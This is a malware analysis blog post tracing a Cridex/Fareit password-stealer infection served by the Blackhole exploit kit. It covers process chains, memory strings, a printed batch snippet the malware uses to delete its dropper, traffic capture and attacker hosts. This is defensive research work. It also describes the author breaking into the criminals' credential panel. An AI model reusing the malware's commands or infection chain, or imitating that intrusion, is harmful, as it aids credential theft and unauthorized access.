When the PWS Stealer try to improve their way to steal... a story of Cridex/PWS Fareit (via Blackhole EK at eziponoma.ru:8080)

The background

It's been while since we didn't take a look into the Cridex infection. Counting the day of we first noticed this group, until the day I write this post, it should have been almost five months yet the bad actors still do their business as usual.

The infection source is spam redirected into some redirector pages to be forwarded to the landing page of the most popular exploit kit, Blackhole, at the eziponoma.ru:8080.

I've been told by my friends to start decode to other EK too to these moronz actually is not in my first priority actually, but accidentally I know an educational institution which was injected with the redirector of this case (as per I pasted in the below tweet, thank's to @Hulk_Crusader), made me morally can't just ignore this one.

The Blackhole v2.1 Infector

After checking the landing page used, PoC↓

It looks like this structure:


If you decode this right you'll get Blackhole2's PluginDetect 0.7.9 Script-->>[HERE]
You can use the decoding guide I wrote here -->>[HERE] to manually -
crack the download url of every exploit files & payload in there.
Shortly, here's the result of the payload/exploit components -->>[HERE]

Here's the picture as PoC:

The Cridex Infection Steps..

If you follow us in our previous blog posts -->>[HERE] about Cridex & its PWS Stealer, then you'll know that we follow this stealer in a kind of man-to-man marking, today we saw the changes in the payload as following details:


The payload looks like this:

What this binary do? Is the below steps: about.exe (executed via shellcode API of Exploit file →kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0))
  |
  +-CMD.EXE (via shell calls)
     |
     +--%Temp%exp%n.tmp.exe (a self copy of about.exe, executed via CMD)
         |
         +---%AppData%KB00777165.exe (downloaded trojan PWS, executed by exp%n.tmp.exe)
Some screenshots as PoC is here:  This time I provide you with the comprehension analysis of this trojan, by using my capture data so let's analyze it together. I was testing in some rounds so I have too many data to share. I'll start with the trapped malware process' accessed file data, I will  pick  some PID of the cascaded process above to understand it step by step.  File Calls
about.exe (I picked PID: 2116) These are the list of all activity of about.exe -->>[HERE]This process details explained the overall CMD & creation of KB00777165.exe  What cmd.exe process actually do? (I picked PID: 2152) You'll see what cmd.exe process was actually do, with its correlation to the temporary file exp2.tmp.bat -->>[HERE]PS: all of these are happening in the very short time if you see  the timestamp closely.  How about the temporary file exp%n.tmp? (I picked PID: 4028) You can see it here -->>[HERE]It was looping and searching for a font like crazy so I cut the log for uploading purpose. It is operated as per expected.  So, finally KB00777165.exe (I picked up sample with PID: 1896) The log for this was too big and many repetition, so I summarized here --->>[HERE]
Memory Analysis
In this memory analysis I will use the about.exe and KB00777165.exe only, since the other payloads are not so significant, or its process included in the about.exe and KB00777165.exe already.  about.exe  I found the below search path/file strings: .exe

↑BLOCK THESE!!!You can unpack the binary to see the similar result, as per unpacked one I see here: This binary also the brain of the drops of KB00777165.exe: sKB%08d.exe
KB00777165.exe
C:\Documents and Settings\rik\Application Data // directory made strings..
C:\Documents and Settings\rik\Application Data\KB00777165.exe // the drops..
And also its execution traces command too: exec
cmd

The batch file command used to delete the temporary binary file: @echo off
del /F /Q /A "%S"
if exist "%S" goto R
del /F /Q /A "%S"

 Malware Phishing Credential Server
This is their phishing server portal, they actually use for this infection case, see the url and compare it with the report: Wacked the way in to collect evidence of crime, first level panel: You see all of the questions asked in the phishing code are recorded,  together w/passwords.Second level panel: ↑You're not only got hit once but EVERYTIME you accessed  the internet to the targeted online banking sites. How ? Can't say much here, see this: You still don't believe it? PoC: It is clearly stated the current infection status: Total bots: 85Total finished: 58Total opened: 332
Through the MalwareMustDie team work, we passed all  of the data to the FBI for arrest warrant process. Let's give LAW the first chance.  Important memo after reversing & encryption of the payloads
The binaries of about.exe and the dropped KB*.exe is packed, I will not go to details of unpacking here, but if you do it right in the about.exe and KB*.exe you'll see the similarities of crypto. PoC is as per below:  about.exe KB*.exe (↑green part is the crypto traces we talked about, yellow: passwords) The same pattern also detected in the traffic sent (HTTP/1.1 POST)  Network Analysis
I made a long session capturing the traffic data between my TestPC to the connected botnet, is a long session (1,500+)& will be very good  if you would like to analyze the traffic of this Cridex/Fareit infection.  The screenshot:Since all of the work of this infection already well-explained above, you can confirm it by seeing the PCAP capture I provide. You can download it at below Download section :-)  In my test only these connection successfully established to sent credentials: And the others were HTTP rejected from the remote host:To be noted these request from Cridex showing the lookup response as per below, showing the PTR record : (for blocking & incident investigation purpose)  Conclusion - What's new then?
1. The usage of the   encryption is getting deeper, they encrypted the data    up to the memory level now.  2. The attempt to avoid capture also detected, the cridex was running about     3 sec & following by the KB*.exe which runs for about less than 5mins.    The cmd was executed in a glimpse, and see my PCAP & file capture data     to view the time/speed of this new things. All is just to prevent someone    making a post like this :-)  3. More profile capture detected & more phishing sent data template seen.    Thus now they have the attachment file API code in POST session
